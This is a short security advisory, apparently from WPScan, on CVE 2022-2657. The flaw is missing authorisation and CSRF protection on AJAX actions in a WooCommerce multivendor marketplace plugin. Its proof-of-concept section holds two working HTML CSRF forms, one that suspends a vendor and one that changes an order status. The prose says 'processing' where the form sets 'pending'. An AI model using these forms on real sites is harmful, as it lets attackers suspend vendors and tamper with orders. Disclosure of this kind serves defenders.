Multivendor Marketplace Solution for WooCommerce < 3.8.12 – Unauthorised AJAX Calls | CVE 2022-2657

Description

The plugin is lacking authorisation and CSRF in multiple AJAX actions, which could allow any authenticated users, such as subscriber to call them and suspend vendors (reporter by the submitter) or update arbitrary order status (identified by WPScan when verifying the issue) for example. Other unauthenticated attacks are also possible, either directly or via CSRF

Proof of Concept

To suspend a vendor, open this as any authenticated user, or via a CSRF against any logged in one

<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php?action=wcmp_suspend_vendor" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user_id" value="3">
<input type="hidden" name="redirect" value="true">
<input type="submit" name="Submit">
</form>
</body>
</html>

To update the order status of the order with ID 2 to processing:

<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php?action=wcmp_order_status_changed" method="POST">
<input type="text" name="order_id" value="2">
<input type="text" name="selected_status" value="pending">
<input type="submit" name="Submit" value="Submit">
</form>
</body>
</html>